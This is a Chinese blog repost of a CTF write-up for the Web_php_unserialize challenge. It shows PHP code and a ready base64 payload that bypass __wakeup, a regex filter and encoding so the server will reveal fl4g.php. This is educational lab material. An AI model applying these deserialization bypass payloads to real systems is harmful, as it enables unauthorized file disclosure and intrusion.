文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

攻防世界-web-Web_php_unserialize

2023-10-06 05:03

关注

1. 题目描述:查看以下代码,获取flag 

2. 思路分析

从代码中不难看出,这里共有三个地方需要绕过

1  __wakeup函数:若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,因此这里调大对象属性的个数即可。

2 base64编码:这个简单,进行base64加密即可

3 正则表达式绕过:这里不允许存在O:数字或者o:数组=字的字符,这个网上找资料,在数字前面加上+即可绕过

3. 获取flag

我们先绕过wakeup,将Demo对象序列化后,得到的字符串是这样的:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

根据以上分析,我们将Demo后门的1改为2即可绕过__wakeup函数,O:4改为O:+4即可绕过正则,再进行base64编码即可(这里注意一定要再代码中处理,线上以及一些工具上进行base64和php代码中进行base64获取到的结果不一样)

详细代码如下:

file = $file;     }    function __destruct() {         echo @highlight_file($this->file, true);     }    function __wakeup() {         if ($this->file != 'index.php') {             //the secret is in the fl4g.php            $this->file = 'index.php';         }     } }$str = serialize(new Demo("fl4g.php"));// 绕过正则$str = str_replace('O:4', 'O:+4', $str);// 绕过wakeup函数$str = str_replace(':1:', ':2:', $str);// 进行base64编码print(base64_encode($str));?>

执行以上代码,得到可以绕过的字符串为:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

再构造如下请求即可获取到flag:

总结:较为综合的一道题,考察多个绕过点,包括wakeup,正则,以及base64加密。 

来源地址:https://blog.csdn.net/wuh2333/article/details/130918392

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯